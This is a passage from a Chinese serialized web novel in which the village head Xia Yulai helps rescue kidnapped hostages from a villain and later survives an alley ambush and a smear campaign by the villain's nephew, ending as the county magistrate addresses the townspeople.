苏振邦和陆承业也点了点头:“夏里正,这个办法好!我们听你的!” 夏雨来又说道:“苏当家,陆当家,你们跟我一起去废弃窑厂。记住,到了那里,不管陈老财说什么,你们都要冷静,不要冲动。我们的目的是救出苏小姐和陆少爷,不是跟他拼命!” “我们知道了!” 苏振邦和陆承业异口同声地说道。 很快,官差们就乔装打扮好了,悄悄跟在夏雨来、苏振邦和陆承业后面,向城西的废弃窑厂赶去。 城西的废弃窑厂,阴森恐怖。窑厂的墙壁上布满了裂缝,里面黑漆漆的,散发着一股刺鼻的气味。窑厂的周围,杂草丛生,寂静无声,只有风吹过杂草的 “沙沙” 声,让人不寒而栗。 夏雨来、苏振邦和陆承业来到窑厂门口,就看到陈老财带着一群打手,站在窑厂里面。苏文轩和陆婉清被绑在一根柱子上,嘴里塞着布条,脸上满是恐惧。 “陈老财!你快放了我女儿和陆少爷!” 苏振邦大声喝道,声音里充满了愤怒和焦急。 陈老财冷笑一声:“苏振邦,陆承业,夏雨来,你们终于来了!” 他上下打量了三人一番,说道:“怎么?你们没带官差来?” 夏雨来说道:“陈老财,我们已经按照你的要求,一个人都没带。你快放了苏小姐和陆少爷!” “放了他们?” 陈老财嗤笑一声,“没那么容易!夏雨来,苏振邦,陆承业,你们听着,想要救他们,就必须答应我三个条件!” “什么条件?你快说!” 陆承业急道。 陈老财说道:“第一,夏雨来,你立刻辞去里正的职务,并且承认所有的罪名,说是你勾结苏陆两家,垄断漕运,操纵粮价,坑害百姓!” “第二,苏振邦和陆承业,你们立刻把苏家和陆家的产业,全部转让给我!包括瓷窑、船厂、粮铺,还有所有的田地和房产!” “第三,你们还要给我纹银一万两,作为我的辛苦费!” 苏振邦和陆承业听了,都气得浑身发抖。 “陈老财,你太过分了!” 苏振邦怒喝道,“我们是绝对不会答应你的条件的!” 陆承业也说道:“你休想得到我们的产业!你要是敢伤害我儿子和苏小姐,我们就算是拼了命,也不会放过你!” 陈老财脸色一沉:“怎么?你们不答应?那我就只好杀了他们了!” 他说着,从一个打手手里拿过一把刀,架在苏文轩的脖子上,威胁道:“苏振邦,你要是不答应,我现在就杀了你的女儿!” 苏文轩吓得浑身发抖,眼泪都流了下来。 “不要!陈老财,你不要伤害我女儿!” 苏振邦急得快要哭了,“我答应你!我答应你所有的条件!” 陆承业也连忙说道:“我也答应你!你快放了我儿子和苏小姐!” 夏雨来连忙拦住他们:“苏当家,陆当家,不能答应他!他这是在趁人之危,一旦你们答应了他的条件,他肯定不会放过我们,也不会放过苏小姐和陆少爷!” “夏里正,可是……” 苏振邦急道,“我女儿不能有事啊!” 夏雨来说道:“苏当家,你放心,我们一定能救出苏小姐和陆少爷!陈老财,你不要以为,用绑架的手段就能让我们妥协!你这是犯罪,是要掉脑袋的!” 陈老财冷笑一声:“掉脑袋?只要我能得到苏陆两家的产业,就算是掉脑袋,我也值了!夏雨来,你少跟我废话!我数三声,你们要是不答应我的条件,我就杀了他们!” “一!” “二!” 陈老财的声音越来越严厉,手里的刀也越来越紧,苏文轩的脖子上已经出现了一道血痕。 “不要!” 苏振邦和陆承业都大喊道。 就在这时,窑厂外面突然传来了一声大喝:“住手!陈老财,你已经被包围了!快放下武器,束手就擒!” 陈老财心里一惊,回头一看,只见县太爷带着一群官差,从窑厂外面冲了进来,把窑厂围得水泄不通。 “怎么会这样?你们怎么会带官差来?” 陈老财脸色惨白,不敢相信自己的眼睛。 夏雨来笑了笑:“陈老财,你以为我们真的会按照你的要求,一个人都不带吗?你太天真了!” 陈老财知道,自己大势已去。他不甘心地看着夏雨来、苏振邦和陆承业,眼神里充满了怨毒。 “既然我得不到,你们也别想好过!” 陈老财大喊一声,举起刀,就向苏文轩砍去。 就在这千钧一发之际,夏雨来身形一闪,冲了上去,一脚踹在陈老财的手腕上。陈老财手里的刀 “哐当” 一声掉在地上。 夏雨来紧接着又是一拳,打在陈老财的脸上,把他打得晕头转向。官差们立刻冲了上去,把陈老财和他的打手们五花大绑起来。 苏振邦和陆承业连忙跑过去,解开了苏文轩和陆婉清身上的绳子,取下了他们嘴里的布条。 “女儿,你没事吧?” 苏振邦抱着苏文轩,心疼地问道。 “爹,我没事!” 苏文轩扑在苏振邦怀里,哭了起来。 陆承业也抱着陆婉清,激动得热泪盈眶:“儿子,你没事就好!没事就好!” 县太爷走到陈老财面前,厉声说道:“陈老财,你勾结官差,操纵粮价,散布谣言,绑架人质,罪行累累!我现在就把你押回县衙,等候发落!” 陈老财被官差们押着,嘴里还在大喊:“夏雨来,苏振邦,陆承业,我不会放过你们的!我做鬼也不会放过你们!” 夏雨来看着陈老财被押走的背影,心里终于松了一口气。这场终极对决,他们终于赢了! 五、罪证确凿伏法纪,市井清明百姓欢 陈老财被押回县衙后,县太爷对他进行了严刑审讯。在确凿的证据面前,陈老财不得不承认了自己所有的罪行。 县太爷勃然大怒,判处陈老财死刑,剥夺所有财产,归还被骗百姓的钱财,并且将他的家产分给苏陆两家,作为对他们的补偿。 至于李通判,县太爷也向州府禀报了此事。州府的知府大人听了,非常愤怒,立刻下令弹劾李通判,将他革职查办,押入大牢。 判决结果公布后,县城里的百姓们都拍手称快,纷纷称赞县太爷判得好。 “太好了!陈老财这个恶霸终于被绳之以法了!” “是啊!他欺压百姓,无恶不作,早就该受到惩罚了!” “还有那个李通判,也不是什么好东西!竟然为了钱财,滥用职权,勾结恶霸,陷害忠良!” “县太爷真是为民做主的好官!夏雨来也是我们的大恩人!要是没有他们,我们还不知道要被陈老财欺负到什么时候!” 百姓们纷纷来到县衙门口,为县太爷和夏雨来欢呼喝彩。 为了让百姓们更加了解事情的真相,夏雨来还在城隍庙门口贴了一张告示,上面详细说明了陈老财的罪行,以及李通判被革职查办的事情。 告示贴出后,百姓们都纷纷前来观看,互相转告。大家都对夏雨来更加敬佩了,都说他是一个为民做主、足智多谋的好里正。 苏家和陆家的生意也越来越红火。经过这件事情后,苏陆两家的关系更加亲密了,他们联手扩大了生意规模,不仅在县城里开设了更多的粮铺、瓷窑和船厂,还把生意做到了外地,成为了远近闻名的富商。 苏文轩和陆婉清的感情也更加深厚了。在双方父母的支持下,他们举行了一场盛大的婚礼,邀请了县城里的所有百姓。婚礼当天,苏家和陆家大摆宴席,场面十分热闹。 夏雨来看着这一切,心里充满了成就感。他知道,自己所做的一切,都是值得的。他守护的不仅是一座县城,更是百姓们的幸福和安宁。 这天晚上,夏雨来坐在杂货铺的门口,看着天上的明月,心里感慨万千。他想起了自己刚上任里正时,县城里的种种乱象:两大家族争斗不休,地痞无赖横行霸道,恶霸贪官相互勾结,百姓们深受其害。而现在,县城里一片祥和,百姓们安居乐业,这都是他和大家一起努力的结果。 “夏里正,在想什么呢?” 张屠户提着一壶酒,笑着走了过来。 夏雨来笑了笑:“没什么,就是觉得现在的日子真好。” 张屠户坐在夏雨来身边,倒了两杯酒,递给夏雨来一杯:“是啊,现在的日子真是太好了!这都多亏了你,夏里正。来,我敬你一杯!” 夏雨来接过酒杯,和张屠户碰了一下,一饮而尽:“张屠户,不用谢我。这都是大家一起努力的结果。只要我们齐心协力,以后的日子会越来越好!” 两人一边喝酒,一边聊天,聊到了深夜。张屠户离开后,夏雨来回到了屋里,躺在床上,却没有丝毫睡意。他知道,自己肩上的责任还很重,以后还会遇到各种各样的问题,但他有信心,只要自己坚守初心,为百姓着想,就一定能克服所有的困难,让县城变得更加繁荣、更加安宁。 “咚 —— 咚 —— 咚 ——” 三更的梆子声再次响起,夏雨来站在窗前,望着天边的明月,脸上露出了欣慰的笑容。他知道,只要百姓们团结一心,只要《市井公约》能够一直执行下去,这座县城就会永远安宁,永远繁荣。 他笑了,笑得那么开心,那么坦荡。这一夜,他又将是一个无眠之夜,但他无怨无悔,因为他知道,自己肩上的责任重大,他要守护的,是整个县城的希望和未来。 从此以后,县城里再也没有了恶霸贪官的欺压,百姓们安居乐业,商家们诚信经营,邻里之间和睦相处,市井风气日益清明。而夏雨来,也成为了县城里家喻户晓的英雄,被百姓们永远铭记在心。 49. 百姓撑腰 一、余党怀恨藏祸心,暗夜密谋下黑手 陈老财伏法的第三个月,县城里正是春风得意的好时节。苏陆两家的漕运船队满载着瓷器、丝绸扬帆远去,城隍庙前的集市日日人声鼎沸,就连街角张屠户的肉案,都比往日多摆了两扇新鲜五花肉。夏雨来的杂货铺更是门庭若市,不仅有百姓来买油盐酱醋,更有不少人专程来请教营生门道,或是送来自家种的瓜果蔬菜,说是 “给夏里正补补身子”。 可谁也没料到,暗处正有一双双怨毒的眼睛,死死盯着这一派祥和。 城西破庙里,十几条黑影围坐在篝火旁,火星子噼里啪啦溅在地上,映得一张张脸狰狞可怖。为首的是个独眼龙,左眼上蒙着块黑布,右眼里的凶光像淬了毒的刀子 —— 他是陈老财的远房侄子陈彪,早年在江湖上混过几年,练就一身蛮力,更擅长使阴招。陈老财被抓后,他带着陈家残余的打手和几个受过陈家恩惠的地痞无赖,躲在破庙里伺机报复。 “大哥,这夏雨来如今风光得很啊!” 一个瘦猴似的汉子咂着嘴,脸上满是嫉妒,“昨天我路过他的杂货铺,好家伙,买东西的人排到街尾,还有人给他送鸡蛋、送馒头,简直把他当菩萨供着!” “供着?” 陈彪猛地一拍大腿,篝火被震得晃了晃,“那狗秀才害得我叔父身首异处,家产被抄,这笔仇要是不报,我陈彪还有脸在江湖上混吗?” 他从怀里掏出一个酒葫芦,猛灌了一口,酒液顺着嘴角流下来,滴在衣襟上,“叔父待我们不薄,现在他死了,我们要是眼睁睁看着夏雨来享福,就是忘恩负义的畜生!” 旁边一个满脸横肉的打手附和道:“彪哥说得对!那夏雨来就是个伪君子,表面上为百姓着想,实则靠着苏陆两家的势力,在县城里作威作福!我们得让他尝尝,什么叫生不如死!” 陈彪冷笑一声,独眼眯成一条缝:“生不如死?太便宜他了!我要让他身败名裂,让他尝尝众叛亲离的滋味,最后再送他去见我叔父!” 瘦猴汉子凑上前,小心翼翼地问道:“彪哥,您有什么好计策?那夏雨来狡猾得很,上次陈老爷那么周密的计划都没能扳倒他,我们……” “蠢货!” 陈彪瞪了他一眼,“我叔父是太急功近利,才会被那小子抓住把柄!这次我们要慢慢来,一步一步让他掉进陷阱里!” 他压低声音,凑近众人,“我已经打听好了,这夏雨来最近在帮苏陆两家打理漕运账目,每天晚上都会去苏府对账,要到三更天才会回杂货铺。那条回铺的巷子偏僻得很,正是下手的好地方!” “彪哥,您是想……” 一个矮胖汉子搓了搓手,眼里闪过一丝狠意。 “没错!” 陈彪点点头,“我们先给他个教训,把他打成重伤,让他躺个十天半月!然后再散布谣言,就说他是因为中饱私囊,被苏陆两家的人教训了!这样一来,百姓们肯定会对他产生怀疑,他的名声也就臭了!” 瘦猴汉子有些犹豫:“可是,那夏雨来会武功啊!上次两个官差都没能打过他,我们……” “怕什么?” 陈彪拍了拍腰间的短刀,“我们有十几个人,还怕对付不了他一个?到时候我们用麻袋套住他的头,乱棍齐下,管他会不会武功,都得被我们打得半死!” 他顿了顿,又说道,“为了保险起见,我们再找几个亡命之徒,事成之后,给他们每人一百两银子!重赏之下必有勇夫,我就不信没人敢干!” 众人听了,眼睛都亮了。一百两银子,对他们这些地痞无赖来说,可是一笔巨款! “彪哥英明!” 瘦猴汉子连忙说道,“只要能拿到银子,别说教训一个夏雨来,就是上刀山下火海,我也愿意!” 其他几人也纷纷附和:“我们听彪哥的!一定让那夏雨来付出代价!” 陈彪满意地点点头,脸上露出阴狠的笑容:“好!今晚三更,我们就在那条巷子埋伏,等他出现,就给我往死里打!记住,别留活口…… 不对,要留他一口气,让他活着丢人现眼!” 篝火旁的黑影们纷纷点头,眼里都闪烁着贪婪和狠毒的光芒。破庙里的空气仿佛被这股恶意污染了,连篝火都变得暗淡了许多。 而此时的夏雨来,对此一无所知。他正在苏府的书房里,和苏振邦、陆承业一起核对漕运账目。桌上的油灯亮堂堂的,照亮了三人专注的脸庞。 “夏里正,这一季度的漕运收益比上一季度多了三成啊!” 苏振邦看着账本,脸上满是喜色,“这都多亏了你,帮我们优化了运输路线,还制定了合理的定价策略!” 陆承业也说道:“是啊,夏里正!现在我们的船队不仅在本地受欢迎,就连外地的商家都主动来找我们合作!照这样下去,用不了多久,我们就能把生意做到京城去!” 夏雨来笑了笑:“苏当家,陆当家,你们过奖了!这都是大家一起努力的结果。漕运通畅了,不仅你们的生意好,县城里的百姓也能受益,这是双赢的事情!” 他顿了顿,又说道,“不过,我们也不能掉以轻心。最近我听说,有些外地的粮商对我们的漕运生意虎视眈眈,想要抢我们的生意。我们得加强防范,不能让他们有机可乘!” 苏振邦点了点头:“夏里正说得有道理!我们已经加派了人手,保护船队的安全。另外,我们也在和其他粮商联系,打算组成一个漕运联盟,共同抵御外地粮商的竞争!” 陆承业也说道:“没错!只要我们团结一心,就没有什么能难倒我们!” 三人又聊了一会儿生意上的事情,眼看就要到三更天了,夏雨来起身说道:“苏当家,陆当家,时间不早了,我该回杂货铺了。账本我先带回铺里,明天再来和你们核对剩下的部分。” “好!夏里正,路上小心!” 苏振邦说道,“最近县城里虽然太平,但晚上还是不安全,我派两个家丁送你回去吧?” 夏雨来摆了摆手:“不用了,苏当家!我一个人能行。再说,那条路我走了无数遍,熟悉得很,不会有什么问题的!” 他心里想着,自己武功不错,一般的地痞无赖根本不是他的对手,而且县城里治安一向很好,应该不会出什么事。 苏振邦见他坚持,也就不再勉强:“那好吧!夏里正,要是遇到什么情况,一定要及时派人通知我们!” “放心吧!” 夏雨来笑了笑,拿起账本,转身向门外走去。 苏府的家丁打开大门,夏雨来走出府门,夜色像一块黑布笼罩着大地,只有几颗星星在天空中闪烁。街上静悄悄的,只有他的脚步声在石板路上回响。他沿着街道慢慢走着,心里还在盘算着明天的事情,完全没有察觉到,身后不远处,有几条黑影正悄悄跟着他。 二、暗夜巷陌遭伏击,秀才浴血巧周旋 夏雨来走进那条偏僻的巷子,巷子两旁是高高的围墙,墙头上长满了杂草,月光透过杂草的缝隙,在地上投下斑驳的影子。巷子深处黑漆漆的,仿佛一个张着血盆大口的怪兽,等着猎物自投罗网。 他刚走到巷子中间,突然听到身后传来一阵急促的脚步声。夏雨来心里一惊,连忙回头,只见十几条黑影从巷子口冲了进来,手里拿着木棍、短刀,脸上带着狰狞的笑容。 “夏雨来!你拿命来!” 陈彪大喊一声,独眼圆睁,手里的短刀在月光下闪着寒光。 夏雨来心里咯噔一下:不好!遇到埋伏了!他立刻停下脚步,握紧了手里的账本,警惕地看着眼前的黑影。他认出了领头的是陈老财的侄子陈彪,心里顿时明白了:这些人是陈老财的余党,是来报复他的! “陈彪,你们想干什么?” 夏雨来沉声问道,心里快速盘算着应对之策。对方有十几个人,而且手里都有武器,硬拼肯定不行,得想办法脱身! “干什么?” 陈彪冷笑一声,“当然是为我叔父报仇!你害他身首异处,家产被抄,今天我就要让你血债血偿!” 他挥了挥手,“兄弟们,上!给我往死里打!” 十几条黑影立刻冲了上来,木棍、短刀一起向夏雨来招呼过来。夏雨来身形一闪,避开了第一个打手的木棍,然后一脚踹在他的肚子上,把他踹倒在地。但后面的打手接踵而至,他顾此失彼,肩膀被一根木棍狠狠砸了一下,疼得他龇牙咧嘴。 “妈的!这小子还挺能打!” 一个打手骂道,手里的木棍再次向夏雨来砸去。 夏雨来心里暗自叫苦:对方人太多了,而且下手狠毒,这样下去,自己迟早会被他们打倒!他一边躲闪,一边寻找脱身的机会。他看到巷子旁边有一扇虚掩的柴门,心里一动,连忙向柴门冲去。 “想跑?没那么容易!” 陈彪大喊一声,追了上来,手里的短刀向夏雨来的后背刺去。 夏雨来感觉到背后的冷风,连忙侧身躲闪,短刀擦着他的肩膀划过,划破了他的衣服,留下一道深深的血痕。他顾不上疼痛,推开柴门,冲进了院子里。 院子里堆满了柴火,角落里还有一口井。夏雨来心想:这里地形复杂,可以利用柴火作为掩护,和他们周旋!他立刻躲到一堆柴火后面,屏住呼吸,观察着外面的动静。 陈彪带着手下冲进院子,看到院子里堆满了柴火,皱了皱眉:“这小子躲到哪里去了?给我仔细搜!就算把这院子翻个底朝天,也要把他找出来!” 打手们立刻散开,在院子里四处搜寻。夏雨来躲在柴火后面,紧紧握着拳头,心里盘算着:现在不能硬拼,得等他们分开,逐个击破! 很快,一个瘦猴似的打手走到了柴火堆旁边,嘴里还骂骂咧咧:“夏雨来,你个缩头乌龟!快出来受死!” 夏雨来眼睛一亮,趁他不备,猛地从柴火堆后面冲了出来,一拳打在他的脸上。瘦猴打手惨叫一声,摔倒在地,晕了过去。 “在这里!” 陈彪大喊一声,带着其他打手冲了过来。 夏雨来不敢恋战,立刻又躲到另一堆柴火后面。他知道,自己已经受伤了,而且对方人多势众,必须尽快想办法脱身,否则后果不堪设想。他看了一眼角落里的井,心里有了一个主意。 他悄悄移动到井边,故意弄出一点声响。陈彪听到声响,立刻带着打手们向井边冲来:“夏雨来,我看你这次往哪里跑!” 夏雨来站在井边,脸上露出一丝冷笑:“陈彪,你们真以为能杀了我吗?我告诉你们,就算我死了,苏陆两家也不会放过你们!县太爷也会派人追查到底,到时候,你们一个也跑不了!” 陈彪嗤笑一声:“苏陆两家?县太爷?等我们杀了你,就远走高飞,他们去哪里找我们?” 他挥了挥手,“兄弟们,上!杀了他!” 打手们立刻冲了上来,夏雨来突然往后一退,假装要掉进井里。陈彪和打手们都愣住了,没想到他会这么做。就在他们愣神的瞬间,夏雨来猛地转身,一脚踹在旁边的一堆柴火上。柴火堆轰然倒塌,正好砸在冲在最前面的几个打手身上,把他们压在下面。 “不好!” 陈彪大喊一声,想要冲过去,但柴火堆挡住了去路。 夏雨来趁机冲出院子,向巷子口跑去。他知道,只要跑到大街上,就会有巡逻的官差,到时候就安全了! 陈彪推开柴火,看到夏雨来已经跑出了院子,气得大骂:“追!给我追!不能让他跑了!” 他带着剩下的打手,紧紧跟在夏雨来后面。夏雨来的肩膀和后背都受了伤,跑起来一瘸一拐的,速度慢了不少。眼看陈彪他们就要追上来了,他心里焦急万分。 就在这时,巷子口突然传来了一阵脚步声,还有人在喊:“夏里正!是你吗?” 夏雨来心里一喜,是张屠户的声音!他连忙大喊:“张屠户!我在这里!有坏人追杀我!” 张屠户本来是起早杀猪,路过这条巷子,听到里面有打斗声,还以为是有人抢劫,没想到是夏雨来被人追杀。他立刻抄起手里的杀猪刀,冲了过来:“夏里正,别怕!我来帮你!” 陈彪看到张屠户手里拿着杀猪刀,气势汹汹地冲过来,心里咯噔一下。他知道张屠户力气大,而且手里有凶器,他们虽然人多,但都是些地痞无赖,根本不是张屠户的对手。 “撤!快撤!” 陈彪大喊一声,带着手下转身就跑。他们跑得比兔子还快,很快就消失在了夜色中。 张屠户跑到夏雨来身边,看到他浑身是伤,衣服都被血染红了,连忙问道:“夏里正,你怎么样?伤得重不重?” 夏雨来喘着粗气,摇了摇头:“没事,就是一些皮外伤。多亏了你,张屠户,不然我今天就危险了!” 他心里一阵温暖,没想到在危难时刻,竟然是张屠户救了他。 “夏里正,你这是被谁伤的?胆子也太大了,竟然敢在县城里追杀你!” 张屠户愤怒地说道。 夏雨来苦笑一声:“是陈老财的余党,他们是来报复我的。” 就在这时,巡逻的官差也听到了动静,赶了过来。看到夏雨来浑身是伤,连忙问道:“夏里正,您怎么了?发生什么事了?” 夏雨来把事情的经过简单说了一遍,官差们听了,勃然大怒:“这些胆大包天的家伙!竟然敢在县城里行凶伤人!我们这就去追查他们的下落!” 张屠户说道:“官差大哥,你们快去吧!那些人都带着武器,非常危险!” 官差们点了点头,立刻分头去追查陈彪等人的下落。张屠户扶着夏雨来,说道:“夏里正,我送你回杂货铺,再找个郎中给你看看伤!” 夏雨来点了点头,在张屠户的搀扶下,慢慢向杂货铺走去。他心里暗自庆幸:幸好张屠户及时出现,不然自己今天真的可能会栽在陈彪手里。但他也知道,陈彪等人肯定不会善罢甘休,以后还会来找他的麻烦,他必须做好充分的准备。 三、谣言再起惑民心,百姓疑窦暗丛生 夏雨来受伤的消息,像长了翅膀一样,很快传遍了整个县城。第二天一早,就有不少百姓来到杂货铺探望他。苏振邦和陆承业也第一时间赶了过来,看到夏雨来浑身是伤,躺在床上,脸色苍白,都心疼不已。 “夏里正,你怎么样?伤得重不重?” 苏振邦问道,眼里满是焦急。 夏雨来笑了笑:“没事,就是一些皮外伤,郎中已经给我处理过了,休息几天就好了。” 陆承业愤怒地说道:“陈彪这个畜生!竟然敢对你下这么狠的手!我们一定要找到他,让他付出应有的代价!” 苏振邦也说道:“是啊,夏里正!我们已经派人去追查陈彪等人的下落了,一旦找到他们,就把他们送到县衙,让县太爷严惩!” 夏雨来摇了摇头:“苏当家,陆当家,你们不用太担心。陈彪等人都是些亡命之徒,追查起来不容易。再说,我也不想因为这件事,让你们分心,影响了漕运生意。” 他顿了顿,又说道,“现在最重要的是稳定民心,不能让陈彪等人的阴谋得逞。” 苏振邦和陆承业点了点头:“夏里正说得有道理!我们听你的!” 可谁也没料到,就在当天下午,县城里就开始流传起一些奇怪的谣言。 “听说了吗?夏里正昨天晚上被人打了!” “怎么回事?谁这么大胆,敢打夏里正?” “我听说是苏陆两家的人打的!” “什么?苏陆两家的人?他们为什么要打夏里正?” “还不是因为夏里正中饱私囊,吞了苏陆两家的漕运收益!苏陆两家的人发现了,就找人教训了他一顿!” 这些谣言越传越广,越传越离谱。有的说夏雨来吞了几万两银子,被苏陆两家的人打断了腿;有的说夏雨来不仅吞了银子,还和苏小姐有染,被陆少爷发现了,所以才被打的;还有的说夏雨来是个伪君子,表面上为百姓着想,实则一肚子坏水,这次被打是罪有应得。 百姓们听了这些谣言,都议论纷纷。有的人相信夏雨来的为人,觉得这些谣言都是无稽之谈;有的人则开始动摇,毕竟夏雨来确实被人打了,而且伤势不轻;还有的人,本身就对夏雨来有些嫉妒,此刻更是趁机煽风点火。 “我就说嘛,那夏雨来不是什么好东西!表面上装得大公无私,背地里还不是为了钱财!” “是啊!上次粮价暴涨,我就觉得不对劲,说不定真的是他和苏陆两家搞的鬼!” “这次被打,肯定是分赃不均!真是活该!” 这些话传到了苏振邦和陆承业的耳朵里,两人气得火冒三丈。 “太过分了!这些人竟然敢造谣污蔑我们和夏里正!” 苏振邦怒喝道,“我们一定要查清楚,是谁在背后散布这些谣言!” 陆承业也说道:“是啊!这些谣言要是传下去,不仅会影响我们的生意,还会毁了夏里正的名声!我们必须尽快想办法,澄清事实!” 两人立刻来到杂货铺,把情况告诉了夏雨来。夏雨来听了,脸色也沉了下来。他没想到,陈彪等人不仅想杀他,还想毁他的名声! “夏里正,你别生气!这些都是谣言,百姓们迟早会明白真相的!” 苏振邦安慰道。 夏雨来苦笑一声:“我不生气,只是觉得有些心寒。我为百姓们做了那么多事,没想到还是有人不相信我。” 他顿了顿,又说道,“不过,我也能理解百姓们的心情。毕竟,谣言说得有鼻子有眼,他们难免会产生怀疑。” 陆承业说道:“夏里正,那我们现在该怎么办?总不能眼睁睁看着谣言越传越广吧?” 夏雨来沉默了片刻,心里快速盘算着。他知道,现在最重要的是澄清事实,戳穿谣言。如果不能尽快解决这件事,百姓们的疑虑会越来越深,到时候,他的名声就真的毁了。 “苏当家,陆当家,你们先别着急!” 夏雨来说道,“谣言是陈彪等人散布的,他们的目的就是想让百姓们怀疑我,毁我的名声。我们不能中了他们的计!” 他顿了顿,继续说道:“首先,我们要尽快找到陈彪等人,把他们绳之以法。只有抓住了元凶,才能证明我的清白。其次,我们要向百姓们澄清事实,告诉他们,我被打是因为陈老财的余党报复,而不是因为中饱私囊或者其他什么原因。” 苏振邦点了点头:“夏里正说得有道理!我们已经加派人手,追查陈彪等人的下落了。相信用不了多久,就能找到他们!” 陆承业也说道:“是啊!我们现在就去城隍庙门口贴告示,向百姓们澄清事实!” 夏雨来摇了摇头:“不行!现在贴告示,百姓们不一定会相信。毕竟,空口无凭,他们还是会怀疑我们是在掩盖真相。” “那怎么办?” 苏振邦和陆承业都愣住了。 夏雨来笑了笑:“我们得想个办法,让百姓们亲眼看到真相。” 他顿了顿,说道,“苏当家,陆当家,你们有没有发现,散布谣言的人,大多是些地痞无赖,还有一些平时就对我有意见的人。我们可以找一些德高望重的百姓,比如李老汉、王婆他们,让他们帮我们说话。他们在百姓们心中有很高的威望,他们说的话,百姓们肯定会相信。” 苏振邦和陆承业眼前一亮:“对啊!夏里正,你这个主意好!李老汉和王婆他们都是忠厚老实的人,百姓们都很信任他们。只要他们帮我们澄清事实,谣言很快就会不攻自破!” 夏雨来点了点头:“还有,我们可以把这次被打的经过,详细地告诉百姓们。包括陈彪等人的长相、穿着,还有他们使用的武器。这样一来,百姓们如果看到了陈彪等人,也能及时通知我们或者官差。” “好!我们现在就去办!” 苏振邦和陆承业异口同声地说道。 两人立刻行动起来,分头去找李老汉、王婆等人,向他们说明情况,请他们帮着澄清事实。同时,他们也把陈彪等人的特征告诉了百姓们,发动大家一起寻找陈彪等人的下落。 李老汉和王婆等人听了苏振邦和陆承业的话,都非常愤怒。他们一直很敬佩夏雨来,觉得他是一个为民做主、足智多谋的好里正。现在听到有人竟然造谣污蔑他,还想毁他的名声,都表示愿意帮着澄清事实。 “苏当家,陆当家,你们放心!夏里正是个好人,我们绝对不能让他受这种委屈!” 李老汉说道,“我们现在就去告诉其他百姓,让他们不要相信那些谣言!” 王婆也说道:“是啊!那些谣言太离谱了!夏里正怎么可能是那种人?我们一定要帮他洗刷冤屈!” 很快,李老汉和王婆就把事情的真相告诉了其他百姓。百姓们听了,都半信半疑。有的百姓相信李老汉和王婆的话,觉得那些谣言都是假的;有的百姓则还是有些怀疑,想要看看事情的后续发展。 而此时的陈彪等人,正躲在城外的一座山神庙里。他们听到县城里的谣言已经传开了,都非常得意。 “彪哥,您真是太英明了!现在整个县城的百姓都在怀疑夏雨来,他的名声已经臭了!” 瘦猴汉子笑着说道。 陈彪冷笑一声:“这只是开始!我要让他永远抬不起头来!接下来,我们还要再给他加点料!” 他顿了顿,说道:“你去县城里散布消息,就说夏雨来因为中饱私囊被打,心里怀恨在心,打算报复苏陆两家,还要放火烧了苏府和陆府!让百姓们都知道,他是一个心狠手辣的伪君子!” 瘦猴汉子点了点头:“好!彪哥,我这就去办!我保证,用不了多久,整个县城的百姓都会唾弃夏雨来!” 瘦猴汉子立刻下山,向县城跑去。他知道,只要这个消息一传出去,夏雨来就真的万劫不复了! 四、老丈挺身证清白,邻里齐心破谣言 瘦猴汉子回到县城,找了几个平时和他交好的地痞无赖,让他们帮忙散布消息。这些地痞无赖拿了好处,立刻在县城里四处造谣,说夏雨来要报复苏陆两家,还要放火烧了苏府和陆府。 这个消息一出,县城里顿时一片哗然。百姓们都吓得不轻,苏府和陆府都在县城的中心地带,如果真的被烧了,不仅苏陆两家会遭受巨大的损失,周围的百姓也会受到牵连。 “天啊!夏雨来怎么这么心狠手辣?竟然想要放火烧了苏府和陆府!” “是啊!他这是要报复啊!苏陆两家怎么就招惹他了?” “我看他就是个伪君子!之前帮百姓们做事,都是为了收买人心!现在自己的阴谋败露了,就想报复别人!” “不行!我们不能让他这么做!我们得去阻止他!” 一些不明真相的百姓,竟然真的跑到夏雨来的杂货铺门口,要求他出来给个说法。杂货铺门口围满了人,大家都情绪激动,有的人甚至还扔了石头、烂菜叶,把杂货铺的门窗都砸坏了。 夏雨来躺在床上,听到外面的动静,心里非常难受。他没想到,陈彪等人竟然会这么恶毒,编造出这么离谱的谣言,让百姓们如此痛恨他。 “夏里正,外面的百姓越来越激动了,我们该怎么办?” 二狗急得团团转,脸上满是焦虑。 夏雨来叹了口气:“二狗,别着急!百姓们只是被谣言蒙蔽了,他们迟早会明白真相的。” 就在这时,杂货铺的门被推开了,李老汉和王婆带着一群百姓走了进来。他们看到夏雨来躺在床上,脸色苍白,浑身是伤,都心疼不已。 “夏里正,你怎么样?伤得重不重?” 李老汉问道,眼里满是关切。 夏雨来笑了笑:“李老汉,王婆,谢谢你们来看我。我没事,休息几天就好了。” 王婆叹了口气:“夏里正,我们都知道,那些谣言都是假的!你是个好人,我们都相信你!” 李老汉也说道:“是啊,夏里正!我们已经跟其他百姓解释过了,可是他们被谣言蒙蔽了,根本不听我们的话。现在怎么办?再这样下去,恐怕会出乱子!” 夏雨来沉默了片刻,说道:“李老汉,王婆,谢谢你们相信我。现在,我们必须尽快找到陈彪等人,只有抓住了他们,才能证明我的清白。” 就在这时,苏振邦和陆承业也赶了过来。他们看到杂货铺门口围满了人,心里非常着急。 “夏里正,外面的情况越来越糟了!百姓们都被谣言蒙蔽了,我们该怎么办?” 苏振邦问道。 夏雨来看着苏振邦和陆承业,说道:“苏当家,陆当家,我有一个主意。我们可以请县太爷出面,向百姓们澄清事实。县太爷是为民做主的好官,他说的话,百姓们肯定会相信。” 苏振邦和陆承业眼前一亮:“对啊!夏里正,你这个主意好!我们现在就去县衙,请县太爷出面!” 两人立刻向县衙跑去。县太爷听说了这件事,也非常愤怒。他知道夏雨来的为人,根本不相信他会做出这种事情。 “岂有此理!陈彪这些人,真是胆大包天!竟然敢在县城里散布这么恶毒的谣言,煽动民心!” 县太爷拍着桌子,怒喝道。 苏振邦说道:“县太爷,现在百姓们都被谣言蒙蔽了,情况非常危急。您一定要出面,向百姓们澄清事实,否则,恐怕会出乱子!” 陆承业也说道:“是啊,县太爷!如果真的出了乱子,不仅苏陆两家会遭受损失,整个县城的治安都会受到影响!” 县太爷点了点头:“你们放心!我这就去城隍庙门口,向百姓们澄清事实!我倒要看看,是谁这么大胆,敢在我的地盘上兴风作浪!” 县太爷立刻带着官差,来到城隍庙门口。此时,城隍庙门口已经围满了百姓,大家都情绪激动,议论纷纷。 县太爷走上高台,大声说道:“各位乡亲,大家安静一下!我有重要的事情要告诉大家!” 百姓们听到县太爷的声音,都安静了下来,纷纷看向高台。 